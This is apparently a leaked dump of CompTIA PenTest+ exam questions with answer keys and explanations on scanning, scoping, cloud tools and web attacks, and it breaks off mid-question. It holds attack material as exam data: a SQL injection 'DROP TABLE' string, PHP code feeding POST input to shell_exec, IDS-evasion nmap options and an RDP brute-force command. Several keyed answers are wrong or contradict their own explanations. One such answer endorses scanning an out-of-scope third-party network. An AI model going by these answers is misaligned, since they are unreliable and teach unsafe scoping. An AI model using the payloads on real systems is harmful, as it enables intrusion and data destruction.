

## PT0-002 Dumps

### CompTIA PenTest+ Certification Exam

<https://www.certleader.com/PT0-002-dumps.html>



## NEW QUESTION 1

You are a penetration tester running port scans on a server. INSTRUCTIONS

Part 1: Given the output, construct the command that was used to generate this output from the available options.

Part 2: Once the command is appropriately constructed, use the given output to identify the potential attack vectors that should be investigated further.

If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.

### Penetration Testing

Part 1

Part 2

#### Drag and Drop Options

- sL
- O
- 192.168.2.2
- sU
- sV
- p 1-1023
- 192.168.2.1-100
- Pn
- nc
- top-ports=1000
- hping
- top-ports=100
- nmap

#### NMAP Scan Output

```
Host is up (0.00079s latency).
Not shown: 96 closed ports.
PORT      STATE SERVICE
88/tcp    open  kerberos-sec?
139/tcp   open  netbios-ssn
389/tcp   open  ldap?
445/tcp   open  microsoft-ds?
MAC Address: 08:00:27:81:B1:DF (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.4.X
OS CPE: cpe:/o:linux_kernel:2.4.21
OS details: Linux 2.4.21
Network Distance: 1 hop

OS and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/.
# Scan done at Fri Oct 13 10:03:06 2017 - 1 IP address (1 host up)
scanned in 26.80 seconds
```

#### Command



### Penetration Testing

Part 1

Part 2

#### Question Options

Using the output, identify potential attack vectors that should be further investigated.

- ☐ Weak SMB file permissions
- ☐ FTP anonymous login
- ☐ Webdav file upload
- ☐ Weak Apache Tomcat Credentials
- ☐ Null session enumeration
- ☐ Fragmentation attack
- ☐ SNMP enumeration
- ☐ ARP spoofing

#### NMAP Scan Output

```
Host is up (0.00079s latency).
Not shown: 96 closed ports.
PORT      STATE SERVICE
88/tcp    open  kerberos-sec?
139/tcp   open  netbios-ssn
389/tcp   open  ldap?
445/tcp   open  microsoft-ds?
MAC Address: 08:00:27:81:B1:DF (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.4.X
OS CPE: cpe:/o:linux_kernel:2.4.21
OS details: Linux 2.4.21
Network Distance: 1 hop

OS and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/.
# Scan done at Fri Oct 13 10:03:06 2017 - 1 IP address (1 host up)
scanned in 26.80 seconds
```

- A. Mastered
- B. Not Mastered

Answer: A

#### Explanation:

Part 1 - 192.168.2.2 -O -sV --top-ports=100 and SMB vulns

Part 2 - Weak SMB file permissions

<https://subscription.packtpub.com/book/networking-and-servers/9781786467454/1/ch01lv1sec13/fingerprinting>

**NEW QUESTION 2**

Deconfliction is necessary when the penetration test:

- A. determines that proprietary information is being stored in cleartext.
- B. occurs during the monthly vulnerability scanning.
- C. uncovers indicators of prior compromise over the course of the assessment.
- D. proceeds in parallel with a criminal digital forensic investigation.

**Answer:** C

**Explanation:**

This will then enable the PenTest to continue so that additional issues can be found, exploited, and analyzed.

**NEW QUESTION 3**

A penetration tester is trying to restrict searches on Google to a specific domain. Which of the following commands should the penetration tester consider?

- A. inurl:
- B. link:
- C. site:
- D. intitle:

**Answer:** C

**Explanation:**

The site: command can be used to restrict searches on Google to a specific domain. For example, site:company.com will return only results from the company.com domain. This can help the penetration tester to find information or pages related to the target domain.

**NEW QUESTION 4**

A company becomes concerned when the security alarms are triggered during a penetration test. Which of the following should the company do NEXT?

- A. Halt the penetration test.
- B. Contact law enforcement.
- C. Deconflict with the penetration tester.
- D. Assume the alert is from the penetration test.

**Answer:** C

**Explanation:**

Deconflicting with the penetration tester is the best thing to do next after the security alarms are triggered during a penetration test, as it will help determine whether the alarm was caused by the tester's activity or by an actual threat. Deconflicting is the process of communicating and coordinating with other parties involved in a penetration testing engagement, such as security teams, network administrators, or emergency contacts, to avoid confusion or interference.

**NEW QUESTION 5**

A penetration tester logs in as a user in the cloud environment of a company. Which of the following Pacu modules will enable the tester to determine the level of access of the existing user?

- A. iam\_enum\_permissions
- B. iam\_privesc\_scan
- C. iam\_backdoor\_assume\_role
- D. iam\_bruteforce\_permissions

**Answer:** A

**Explanation:**

The iam\_enum\_permissions module will enable the tester to determine the level of access of the existing user in the cloud environment of a company, as it will list all permissions associated with an IAM user<sup>3</sup>. IAM (Identity and Access Management) is a service that enables users to manage access and permissions for AWS resources. Pacu is a tool that can be used to perform penetration testing on AWS environments<sup>4</sup>.

**NEW QUESTION 6**

A penetration tester created the following script to use in an engagement:

```
#!/usr/bin/python

import socket

ports = [21,22,23,25,80,139,443,445,3306,3389]

if len(sys.argv) == 2:
    target = socket.gethostbyname(sys.argv[1])
else:
    print("Few arguments.")
    print("Syntax: python {} <>".format(sys.argv[0]))
    sys.exit()

try:
    for port in ports:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(2)
        result = s.connect_ex((target,port))
        if result == 0:
            print("Port {} is opened".format(port))

except KeyboardInterrupt:
    print("Exiting...")
    sys.exit()
```

However, the tester is receiving the following error when trying to run the script:

```
$ python script.py 192.168.0.1
Traceback (most recent call last):
  File "script.py", line 7, in <module>
    if len(sys.argv) == 2:
NameError: name 'sys' is not defined
```

Which of the following is the reason for the error?

- A. The sys variable was not defined.
- B. The argv variable was not defined.
- C. The sys module was not imported.
- D. The argv module was not imported.

**Answer: C**

#### Explanation:

The sys module is a built-in module in Python that provides access to system-specific parameters and functions, such as command-line arguments, standard input/output, and exit status. The sys module must be imported before it can be used in a script, otherwise an error will occur. The script uses the sys.argv variable, which is a list that contains the command-line arguments passed to the script. However, the script does not import the sys module at the beginning, which causes the error "NameError: name 'sys' is not defined". To fix this error, the script should include the statement "import sys" at the top. The other options are not valid reasons for the error.

#### NEW QUESTION 7

A penetration tester is conducting a penetration test. The tester obtains a root-level shell on a Linux server and discovers the following data in a file named password.txt in the /home/svsacct directory:

U3VQZXIkM2NyZXQhCg==

Which of the following commands should the tester use NEXT to decode the contents of the file?

- A. echo U3VQZXIkM2NyZXQhCg== | base64 -d
- B. tar zxvf password.txt
- C. hydra -l svsacct -p U3VQZXIkM2NyZXQhCg== ssh://192.168.1.0/24
- D. john --wordlist /usr/share/seclists/rockyou.txt password.txt

**Answer: A**

#### NEW QUESTION 8

A penetration tester would like to obtain FTP credentials by deploying a workstation as an on-path attack between the target and the server that has the FTP protocol. Which of the following methods would be the BEST to accomplish this objective?

- A. Wait for the next login and perform a downgrade attack on the server.
- B. Capture traffic using Wireshark.
- C. Perform a brute-force attack over the server.
- D. Use an FTP exploit against the server.

**Answer: B**

#### NEW QUESTION 9

A penetration tester received a .pcap file to look for credentials to use in an engagement. Which of the following tools should the tester utilize to open and read the .pcap file?

- A. Nmap
- B. Wireshark
- C. Metasploit
- D. Netcat

**Answer:** B

#### NEW QUESTION 10

A company hired a penetration tester to do a social-engineering test against its employees. Although the tester did not find any employees' phone numbers on the company's website, the tester has learned the complete phone catalog was published there a few months ago. In which of the following places should the penetration tester look FIRST for the employees' numbers?

- A. Web archive
- B. GitHub
- C. File metadata
- D. Underground forums

**Answer:** A

#### NEW QUESTION 10

A penetration tester is conducting an assessment against a group of publicly available web servers and notices a number of TCP resets returning from one of the web servers. Which of the following is MOST likely causing the TCP resets to occur during the assessment?

- A. The web server is using a WAF.
- B. The web server is behind a load balancer.
- C. The web server is redirecting the requests.
- D. The local antivirus on the web server is rejecting the connection.

**Answer:** A

#### Explanation:

A Web Application Firewall (WAF) is designed to monitor, filter or block traffic to a web application. A WAF will monitor incoming and outgoing traffic from a web application and is often used to protect web servers from attacks such as SQL Injection, Cross-Site Scripting (XSS), and other forms of attacks. If a WAF detects an attack, it will often reset the TCP connection, causing the connection to be terminated. As a result, a penetration tester may see TCP resets when a WAF is present. Therefore, the most likely reason for the TCP resets returning from the web server is that the web server is using a WAF.

#### NEW QUESTION 11

A penetration tester has gained access to a network device that has a previously unknown IP range on an interface. Further research determines this is an always-on VPN tunnel to a third-party supplier.

Which of the following is the BEST action for the penetration tester to take?

- A. Utilize the tunnel as a means of pivoting to other internal devices.
- B. Disregard the IP range, as it is out of scope.
- C. Stop the assessment and inform the emergency contact.
- D. Scan the IP range for additional systems to exploit.

**Answer:** D

#### NEW QUESTION 13

A penetration tester who is conducting a vulnerability assessment discovers that ICMP is disabled on a network segment. Which of the following could be used for a denial-of-service attack on the network segment?

- A. Smurf
- B. Ping flood
- C. Fraggle
- D. Ping of death

**Answer:** C

#### Explanation:

Fraggle attack is same as a Smurf attack but rather than ICMP, UDP protocol is used. The prevention of these attacks is almost identical to Fraggle attack.

Ref: <https://www.okta.com/identity-101/fraggle-attack/>

#### NEW QUESTION 14

Which of the following should a penetration tester do NEXT after identifying that an application being tested has already been compromised with malware?

- A. Analyze the malware to see what it does.
- B. Collect the proper evidence and then remove the malware.
- C. Do a root-cause analysis to find out how the malware got in.
- D. Remove the malware immediately.
- E. Stop the assessment and inform the emergency contact.

**Answer:** E

#### Explanation:

Stopping the assessment and informing the emergency contact is the best thing to do next after identifying that an application being tested has already been compromised with malware. This is because continuing the assessment might interfere with an ongoing investigation or compromise evidence collection. The

emergency contact is the person designated by the client who should be notified in case of any critical issues or incidents during the penetration testing engagement.

**NEW QUESTION 18**

A penetration tester breaks into a company's office building and discovers the company does not have a shredding service. Which of the following attacks should the penetration tester try next?

- A. Dumpster diving
- B. Phishing
- C. Shoulder surfing
- D. Tailgating

**Answer:** A

**Explanation:**

The penetration tester should try dumpster diving next, which is an attack that involves searching through trash bins or dumpsters for discarded documents or items that may contain sensitive or useful information. Dumpster diving can reveal information such as passwords, account numbers, credit card numbers, invoices, receipts, memos, contracts, or employee records. The penetration tester can use this information to gain access to systems or networks, impersonate users or employees, or perform social engineering attacks. The other options are not likely attacks that the penetration tester should try next based on the discovery that the company does not have a shredding service. Phishing is an attack that involves sending fraudulent emails that appear to be from legitimate sources to trick users into revealing their credentials or clicking on malicious links or attachments. Shoulder surfing is an attack that involves observing or spying on users while they enter their credentials or perform other tasks on their devices. Tailgating is an attack that involves following authorized personnel into a restricted area without proper authorization or identification.

**NEW QUESTION 21**

Which of the following tools would be best suited to perform a cloud security assessment?

- A. OpenVAS
- B. Scout Suite
- C. Nmap
- D. ZAP
- E. Nessus

**Answer:** B

**Explanation:**

The tool that would be best suited to perform a cloud security assessment is Scout Suite, which is an open-source multi-cloud security auditing tool that can evaluate the security posture of cloud environments, such as AWS, Azure, GCP, or Alibaba Cloud. Scout Suite can collect configuration data from cloud providers using APIs and assess them against security best practices or benchmarks, such as CIS Foundations. Scout Suite can generate reports that highlight security issues, risks, or gaps in the cloud environment, and provide recommendations for remediation or improvement. The other options are not tools that are specifically designed for cloud security assessment. OpenVAS is an open-source vulnerability scanner that can scan hosts and networks for vulnerabilities and generate reports with findings and recommendations. Nmap is an open-source network scanner and enumerator that can scan hosts and networks for ports, services, versions, OS, or other information<sup>1</sup>. ZAP is an open-source web application scanner and proxy that can scan web applications for vulnerabilities and perform attacks such as SQL injection or XSS. Nessus is a commercial vulnerability scanner that can scan hosts and networks for vulnerabilities and generate reports with findings and recommendations.

**NEW QUESTION 22**

A penetration tester completed a vulnerability scan against a web server and identified a single but severe vulnerability. Which of the following is the BEST way to ensure this is a true positive?

- A. Run another scanner to compare.
- B. Perform a manual test on the server.
- C. Check the results on the scanner.
- D. Look for the vulnerability online.

**Answer:** B

**NEW QUESTION 23**

A penetration tester was conducting a penetration test and discovered the network traffic was no longer reaching the client's IP address. The tester later discovered the SOC had used sinkholing on the penetration tester's IP address. Which of the following BEST describes what happened?

- A. The penetration tester was testing the wrong assets
- B. The planning process failed to ensure all teams were notified
- C. The client was not ready for the assessment to start
- D. The penetration tester had incorrect contact information

**Answer:** B

**Explanation:**

Sinkholing is a technique used by security teams to redirect malicious or unwanted network traffic to a controlled destination, such as a black hole or a honeypot. This can help prevent or mitigate attacks, analyze malware behavior, or isolate infected hosts. If the SOC used sinkholing on the penetration tester's IP address, it means that they detected the tester's activity and blocked it from reaching the client's network. This indicates that the planning process failed to ensure all teams were notified about the penetration testing engagement, which could have avoided this situation.

**NEW QUESTION 24**

A penetration tester is starting an assessment but only has publicly available information about the target company. The client is aware of this exercise and is preparing for the test. Which of the following describes the scope of the assessment?

- A. Partially known environment testing
- B. Known environment testing
- C. Unknown environment testing
- D. Physical environment testing

**Answer:** C

#### NEW QUESTION 28

When accessing the URL `http://192.168.0-1/validate/user.php`, a penetration tester obtained the following output:

```
..d index: eid in /apache/www/validate/user.php line 12
..d index: uid in /apache/www/validate/user.php line 13
..d index: pw in /apache/www/validate/user.php line 14
..d index: acl in /apache/www/validate/user.php line 15
```

- A. Lack of code signing
- B. Incorrect command syntax
- C. Insufficient error handling
- D. Insecure data transmission

**Answer:** C

#### Explanation:

The most probable cause for this output is insufficient error handling, which is a coding flaw that occurs when a program does not handle errors or exceptions properly or gracefully. Insufficient error handling can result in unwanted or unexpected behavior, such as crashes, hangs, or leaks. In this case, the output shows that the program is displaying warning messages that indicate undefined indexes in the `user.php` file. These messages reveal the names of the variables and the file path that are used by the program, which can expose sensitive information or clues to an attacker. The program should have implemented error handling mechanisms, such as try-catch blocks, error logging, or sanitizing output, to prevent these messages from being displayed or to handle them appropriately. The other options are not plausible causes for this output. Lack of code signing is a security flaw that occurs when a program does not have a digital signature that verifies its authenticity and integrity. Incorrect command syntax is a user error that occurs when a command is entered with wrong or missing parameters or options. Insecure data transmission is a security flaw that occurs when data is sent over a network without encryption or protection.

#### NEW QUESTION 29

A penetration tester is testing a new version of a mobile application in a sandbox environment. To intercept and decrypt the traffic between the application and the external API, the tester has created a private root CA and issued a certificate from it. Even though the tester installed the root CA into the trusted store of the smartphone used for the tests, the application shows an error indicating a certificate mismatch and does not connect to the server. Which of the following is the MOST likely reason for the error?

- A. TCP port 443 is not open on the firewall
- B. The API server is using SSL instead of TLS
- C. The tester is using an outdated version of the application
- D. The application has the API certificate pinned.

**Answer:** D

#### NEW QUESTION 31

Which of the following tools would be BEST suited to perform a manual web application security assessment? (Choose two.)

- A. OWASP ZAP
- B. Nmap
- C. Nessus
- D. BeEF
- E. Hydra
- F. Burp Suite

**Answer:** AF

#### NEW QUESTION 35

A penetration tester runs the `unshadow` command on a machine. Which of the following tools will the tester most likely use NEXT?

- A. John the Ripper
- B. Hydra
- C. Mimikatz
- D. Cain and Abel

**Answer:** A

#### NEW QUESTION 37

A tester who is performing a penetration test discovers an older firewall that is known to have serious vulnerabilities to remote attacks but is not part of the original list of IP addresses for the engagement. Which of the following is the BEST option for the tester to take?

- A. Segment the firewall from the cloud.
- B. Scan the firewall for vulnerabilities.
- C. Notify the client about the firewall.
- D. Apply patches to the firewall.

**Answer:** C

#### Explanation:

The best option for the tester to take is to notify the client about the firewall. The firewall is not part of the original list of IP addresses for the engagement, which means it is out of scope and should not be tested without permission. The tester should inform the client about the existence and potential risks of the firewall, and ask if they want to include it in the scope or not.

**NEW QUESTION 38**

A penetration tester who is performing an engagement notices a specific host is vulnerable to EternalBlue. Which of the following would BEST protect against this vulnerability?

- A. Network segmentation
- B. Key rotation
- C. Encrypted passwords
- D. Patch management

**Answer:** D

**Explanation:**

Patch management is the process of identifying, downloading, and installing security patches for a system in order to address new vulnerabilities and software exploits. In the case of EternalBlue, the vulnerability was addressed by Microsoft in the form of a security patch. Installing this patch on the vulnerable host will provide protection from the vulnerability. Additionally, organizations should implement a patch management program to regularly check for and install security patches for the systems in their environment.

Network segmentation (A) can limit the impact of a compromise by separating different parts of the network into smaller, more isolated segments. However, it does not address the vulnerability itself.

Key rotation (B) is the process of periodically changing cryptographic keys, which can help protect against attacks that rely on stolen or compromised keys. However, it is not directly related to the EternalBlue vulnerability.

Encrypted passwords (C) can help protect user credentials in case of a data breach or other compromise, but it does not prevent attackers from exploiting the EternalBlue vulnerability.

**NEW QUESTION 43**

An organization wants to identify whether a less secure protocol is being utilized on a wireless network. Which of the following types of attacks will achieve this goal?

- A. Protocol negotiation
- B. Packet sniffing
- C. Four-way handshake
- D. Downgrade attack

**Answer:** D

**Explanation:**

A downgrade attack is a type of attack that exploits a vulnerability in the protocol negotiation process between a client and a server to force them to use a less secure protocol than they originally intended. A downgrade attack can be used to identify whether a less secure protocol is being utilized on a wireless network by intercepting and modifying the messages exchanged during the protocol negotiation phase, such as the association request and response frames, and making the client and the server agree on a weaker protocol, such as WEP or WPA, instead of a stronger one, such as WPA2 or WPA3. A downgrade attack can also enable the attacker to perform other attacks, such as cracking the encryption keys or capturing the network traffic, more easily by taking advantage of the weaknesses of the less secure protocol. A downgrade attack can be performed by using tools such as Airedaddon, which is a multi-use bash script for Linux systems to audit wireless networks<sup>1</sup>.

**NEW QUESTION 46**

A penetration-testing team needs to test the security of electronic records in a company's office. Per the terms of engagement, the penetration test is to be conducted after hours and should not include circumventing the alarm or performing destructive entry. During outside reconnaissance, the team sees an open door from an adjoining building. Which of the following would be allowed under the terms of the engagement?

- A. Prying the lock open on the records room
- B. Climbing in an open window of the adjoining building
- C. Presenting a false employee ID to the night guard
- D. Obstructing the motion sensors in the hallway of the records room

**Answer:** B

**Explanation:**

The terms of engagement state that the penetration test should not include circumventing the alarm or performing destructive entry, which rules out options A and D. Option C is also not allowed, as it involves social engineering, which is not part of the scope. Option B is the only one that does not violate the terms of engagement, as it uses an open door from an adjoining building to gain access to the records room. This can help the penetration tester to test the physical security of the electronic records without breaking any rules.

**NEW QUESTION 47**

A penetration tester found several critical SQL injection vulnerabilities during an assessment of a client's system. The tester would like to suggest mitigation to the client as soon as possible.

Which of the following remediation techniques would be the BEST to recommend? (Choose two.)

- A. Closing open services
- B. Encryption users' passwords
- C. Randomizing users' credentials
- D. Users' input validation
- E. Parameterized queries
- F. Output encoding

**Answer:** DE

**Explanation:**

SQL injection is a type of attack that exploits a vulnerability in a web application that allows an attacker to execute malicious SQL statements on a database server. SQL injection can result in data theft, data corruption, authentication bypass, or command execution. To mitigate SQL injection vulnerabilities, the following remediation techniques are recommended:

- Users' input validation: This involves checking and sanitizing the user input before passing it to the database server. Input validation can prevent malicious or unexpected input from reaching the database server and causing harm. Input validation can be done by using whitelists, blacklists, regular expressions, or escaping mechanisms.
- Parameterized queries: This involves using placeholders or parameters for user input instead of concatenating it with the SQL statement. Parameterized queries can separate the user input from the SQL logic and prevent it from being interpreted as part of the SQL statement. Parameterized queries can be implemented by using prepared statements, stored procedures, or frameworks that support them. The other options are not relevant or effective remediation techniques for SQL injection vulnerabilities.

**NEW QUESTION 49**

A penetration tester finds a PHP script used by a web application in an unprotected internal source code repository. After reviewing the code, the tester identifies the following:

```
if(isset ($_POST ['item'])) {  
    echo shell_exec ("/http/www/cgi-bin/queryitem ".$_POST ['item']);  
}
```

Which of the following combinations of tools would the penetration tester use to exploit this script?

- A. Hydra and crunch
- B. Netcat and cURL
- C. Burp Suite and DIRB
- D. Nmap and OWASP ZAP

**Answer: B**

**NEW QUESTION 54**

A company that develops embedded software for the automobile industry has hired a penetration-testing team to evaluate the security of its products prior to delivery. The penetration-testing team has stated its intent to subcontract to a reverse-engineering team capable of analyzing binaries to develop proof-of-concept exploits. The software company has requested additional background investigations on the reverse-engineering team prior to approval of the subcontract. Which of the following concerns would BEST support the software company's request?

- A. The reverse-engineering team may have a history of selling exploits to third parties.
- B. The reverse-engineering team may use closed-source or other non-public information feeds for its analysis.
- C. The reverse-engineering team may not instill safety protocols sufficient for the automobile industry.
- D. The reverse-engineering team will be given access to source code for analysis.

**Answer: A**

**NEW QUESTION 55**

Which of the following are the MOST important items to include in the final report for a penetration test? (Choose two.)

- A. The CVSS score of the finding
- B. The network location of the vulnerable device
- C. The vulnerability identifier
- D. The client acceptance form
- E. The name of the person who found the flaw
- F. The tool used to find the issue

**Answer: CF**

**NEW QUESTION 59**

A penetration tester conducted an assessment on a web server. The logs from this session show the following:

`http://www.thecompanydomain.com/servicestatus.php?serviceID=892&serviceID=892 ' ; DROP TABLE SERVICES; -`

Which of the following attacks is being attempted?

- A. Clickjacking
- B. Session hijacking
- C. Parameter pollution
- D. Cookie hijacking
- E. Cross-site scripting

**Answer: C**

**NEW QUESTION 62**

The attacking machine is on the same LAN segment as the target host during an internal penetration test. Which of the following commands will BEST enable the attacker to conduct host discovery and write the discovery to files without returning results of the attack machine?

- A. `nmap -snn -x 10.1.1.15 10.1.1.0/24 -oA target.txt`
- B. `nmap -iR 10.0.0.0/24 -oX out.xml | grep Nmap | cut -d 'f5' -f 1 > live-hosts.txt`
- C. `nmap -Pn -iL target.txt -oA target_text_Service`
- D. `nmap -sSPn -iL target.txt -oA target.txtl`

**Answer: A**

**Explanation:**

According to the Official CompTIA PenTest+ Self-Paced Study Guide<sup>1</sup>, the correct answer is A. nmap -sn -n

-exclude 10.1.1.15 10.1.1.0/24 -oA target\_txt.

This command will perform a ping scan (-sn) without reverse DNS resolution (-n) on the IP range 10.1.1.0/24, excluding the attack machine's IP address (10.1.1.15) from the scan (-exclude). It will also output the results in three formats (normal, grepable and XML) with a base name of target\_txt (-oA).

**NEW QUESTION 66**

A penetration tester is attempting to discover live hosts on a subnet quickly. Which of the following commands will perform a ping scan?

- A. nmap -sn 10.12.1.0/24
- B. nmap -sV -A 10.12.1.0/24
- C. nmap -Pn 10.12.1.0/24
- D. nmap -sT -p- 10.12.1.0/24

**Answer:** A

**NEW QUESTION 67**

A penetration tester was brute forcing an internal web server and ran a command that produced the following output:

```
$ dirb http://172.16.100.10:3000
-----
DURB v2.22
By The Dark Raver
-----
START_TIME: Wed Feb 3 13:06:18 2021
URL_BASE: http://172.16.100.10:3000
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----
GENERATED WORDS: 4612
---- Scanning URL: http://172.16.100.10:3000 ----
+ http://172.16.100.10:3000/ftp (CODE:200|SIZE:11071)
+ http://172.16.100.10:3000/profile (CODE:500|SIZE:1151)
+ http://172.16.100.10:3000/promotion (CODE:200|SIZE:6586)
+ http://172.16.100.10:3000/robots.txt (CODE:200|SIZE:28)
+ http://172.16.100.10:3000 /Video (CODE:200|SIZE:10075518)

-----
END_TIME: Wed Feb 3 13:07:53 2021
DOWNLOADED: 4612 - FOUND: 5
```

However, when the penetration tester tried to browse the URL <http://172.16.100.10:3000/profile>, a blank page was displayed.

Which of the following is the MOST likely reason for the lack of output?

- A. The HTTP port is not open on the firewall.
- B. The tester did not run sudo before the command.
- C. The web server is using HTTPS instead of HTTP.
- D. This URI returned a server error.

**Answer:** A

**NEW QUESTION 72**

The results of an Nmap scan are as follows:

Starting Nmap 7.80 ( <https://nmap.org> ) at 2021-01-24 01:10 EST Nmap scan report for ( 10.2.1.22 )

Host is up (0.0102s latency). Not shown: 998 filtered ports Port State Service

80/tcp open http

|\_http-title: 80F 22% RH 1009.1MB (text/html)

|\_http-slowloris-check:

| VULNERABLE:

| Slowloris DoS Attack

| <..>

Device type: bridge|general purpose

Running (JUST GUESSING) : QEMU (95%)

OS CPE: cpe:/a:qemu:qemu

No exact OS matches found for host (test conditions non-ideal).

OS detection performed. Please report any incorrect results at <https://nmap.org/submit/>. Nmap done: 1 IP address (1 host up) scanned in 107.45 seconds

Which of the following device types will MOST likely have a similar response? (Choose two.)

- A. Network device
- B. Public-facing web server
- C. Active Directory domain controller
- D. IoT/embedded device
- E. Exposed RDP
- F. Print queue

**Answer:** BD

**Explanation:**

<https://www.netscout.com/what-is-ddos/slowloris-attacks>

From the http-title in the output, this looks like an IoT device with RH implying Relative Humidity, that offers a web-based interface for visualizing the results.

**NEW QUESTION 77**

An assessment has been completed, and all reports and evidence have been turned over to the client. Which of the following should be done NEXT to ensure the confidentiality of the client's information?

- A. Follow the established data retention and destruction process
- B. Report any findings to regulatory oversight groups
- C. Publish the findings after the client reviews the report
- D. Encrypt and store any client information for future analysis

**Answer:** D

**Explanation:**

After completing an assessment and providing the report and evidence to the client, it is important to follow the established data retention and destruction process to ensure the confidentiality of the client's information. This process typically involves securely deleting or destroying any data collected during the assessment that is no longer needed, and securely storing any data that needs to be retained. This helps to prevent unauthorized access to the client's information and protects the client's confidentiality.

Reporting any findings to regulatory oversight groups may be necessary in some cases, but it should be done only with the client's permission and in accordance with any relevant legal requirements. Publishing the findings before the client has reviewed the report is also not recommended, as it may breach the client's confidentiality and damage their reputation. Encrypting and storing client information for future analysis is also not recommended unless it is necessary and in compliance with any legal or ethical requirements.

**NEW QUESTION 80**

A penetration tester wants to scan a target network without being detected by the client's IDS. Which of the following scans is MOST likely to avoid detection?

- A. `nmap -p0 -T0 -sS 192.168.1.10`
- B. `nmap -sA -sV --host-timeout 60 192.168.1.10`
- C. `nmap -f --badsum 192.168.1.10`
- D. `nmap -A -n 192.168.1.10`

**Answer:** C

**Explanation:**

The `nmap -f --badsum 192.168.1.10` command is most likely to avoid detection by the client's IDS, as it will use two techniques to evade IDS signatures or filters. The `-f` option will fragment the IP packets into smaller pieces that might bypass some IDS rules or firewalls. The `--badsum` option will use an invalid checksum in the TCP or UDP header that might cause some IDS systems to ignore the packets.

**NEW QUESTION 85**

A software company has hired a security consultant to assess the security of the company's software development practices. The consultant opts to begin reconnaissance by performing fuzzing on a software binary. Which of the following vulnerabilities is the security consultant MOST likely to identify?

- A. Weak authentication schemes
- B. Credentials stored in strings
- C. Buffer overflows
- D. Non-optimized resource management

**Answer:** C

**Explanation:**

fuzzing introduces unexpected inputs into a system and watches to see if the system has any negative reactions to the inputs that indicate security, performance, or quality gaps or issues

**NEW QUESTION 87**

A penetration tester analyzed a web-application log file and discovered an input that was sent to the company's web application. The input contains a string that says "WAITFOR." Which of the following attacks is being attempted?

- A. SQL injection
- B. HTML injection
- C. Remote command injection
- D. DLL injection

**Answer:** A

**Explanation:**

WAITFOR can be used in a type of SQL injection attack known as time delay SQL injection or blind SQL injection<sup>34</sup>. This attack works on the basis that true or false queries can be answered by the amount of time a request takes to complete. For example, an attacker can inject a WAITFOR command with a delay argument into an input field of a web application that uses SQL Server as its database. If the query returns true, then the web application will pause for the specified period of time before responding; if the query returns false, then the web application will respond immediately. By observing the response time, the attacker can infer information about the database structure and data<sup>1</sup>.

Based on this information, one possible answer to your question is A. SQL injection, because it is an attack that exploits a vulnerability in a web application that allows an attacker to execute arbitrary SQL commands on the database server.

**NEW QUESTION 88**

A penetration tester is able to capture the NTLM challenge-response traffic between a client and a server.

Which of the following can be done with the pcap to gain access to the server?

- A. Perform vertical privilege escalation.
- B. Replay the captured traffic to the server to recreate the session.
- C. Use John the Ripper to crack the password.
- D. Utilize a pass-the-hash attack.

**Answer:** D

#### NEW QUESTION 92

A penetration tester ran a ping -A command during an unknown environment test, and it returned a 128 TTL packet. Which of the following OSs would MOST likely return a packet of this type?

- A. Windows
- B. Apple
- C. Linux
- D. Android

**Answer:** A

#### Explanation:

The ping -A command sends an ICMP echo request with a specified TTL value and displays the response. The TTL value indicates how many hops the packet can traverse before being discarded. Different OSs have different default TTL values for their packets. Windows uses 128, Apple uses 64, Linux uses 64 or 255, and Android uses 64. Therefore, a packet with a TTL of 128 is most likely from a Windows OS.

#### NEW QUESTION 96

When planning a penetration-testing effort, clearly expressing the rules surrounding the optimal time of day for test execution is important because:

- A. security compliance regulations or laws may be violated.
- B. testing can make detecting actual APT more challenging.
- C. testing adds to the workload of defensive cyber- and threat-hunting teams.
- D. business and network operations may be impacted.

**Answer:** D

#### NEW QUESTION 97

A penetration tester runs a scan against a server and obtains the following output: 21/tcp open ftp Microsoft ftpd

| ftp-anon: Anonymous FTP login allowed (FTP code 230)

| 03-12-20 09:23AM 331 index.aspx

| ftp-syst:

135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Microsoft Windows Server 2012 Std 3389/tcp open ssl/ms-wbt-server

| rdp-ntlm-info:

| Target Name: WEB3

| NetBIOS\_Computer\_Name: WEB3

| Product\_Version: 6.3.9600

|\_ System\_Time: 2021-01-15T11:32:06+00:00

8443/tcp open http Microsoft IIS httpd 8.5

| http-methods:

|\_ Potentially risky methods: TRACE

|\_http-server-header: Microsoft-IIS/8.5

|\_http-title: IIS Windows Server

Which of the following command sequences should the penetration tester try NEXT?

- A. ftp 192.168.53.23
- B. smbclient \\\\WEB3\\IPC\$ -I 192.168.53.23 -U guest
- C. ncrack -u Administrator -P 15worst\_passwords.txt -p rdp 192.168.53.23
- D. curl -X TRACE https://192.168.53.23:8443/index.aspx
- E. nmap --script vuln -sV 192.168.53.23

**Answer:** A

#### NEW QUESTION 102

A penetration tester downloaded the following Perl script that can be used to identify vulnerabilities in network switches. However, the script is not working properly.

Which of the following changes should the tester apply to make the script work as intended?

- A. Change line 2 to \$ip= €10.192.168.254€;
- B. Remove lines 3, 5, and 6.
- C. Remove line 6.
- D. Move all the lines below line 7 to the top of the script.

**Answer:** B

#### Explanation:

<https://www.asc.ohio-state.edu/lewis.239/Class/Perl/perl.html> Example script:

```
#!/usr/bin/perl
```

```
$ip=$argv[1]; attack($ip);
```

```
sub attack { print("x");
```

```
}
```

**NEW QUESTION 107**

Which of the following tools provides Python classes for interacting with network protocols?

- A. Responder
- B. Impacket
- C. Empire
- D. PowerSploit

**Answer: B**

**Explanation:**

Impacket is a tool that provides Python classes for interacting with network protocols, such as SMB, DCE/RPC, LDAP, Kerberos, etc. Impacket can be used for network analysis, packet manipulation, authentication spoofing, credential dumping, lateral movement, and remote execution.

**NEW QUESTION 110**

A penetration tester has gained access to the Chief Executive Officer's (CEO's) internal, corporate email. The next objective is to gain access to the network. Which of the following methods will MOST likely work?

- A. Try to obtain the private key used for S/MIME from the CEO's account.
- B. Send an email from the CEO's account, requesting a new account.
- C. Move laterally from the mail server to the domain controller.
- D. Attempt to escalate privileges on the mail server to gain root access.

**Answer: D**

**NEW QUESTION 115**

A penetration tester needs to upload the results of a port scan to a centralized security tool. Which of the following commands would allow the tester to save the results in an interchangeable format?

- A. nmap -iL results 192.168.0.10-100
- B. nmap 192.168.0.10-100 -O > results
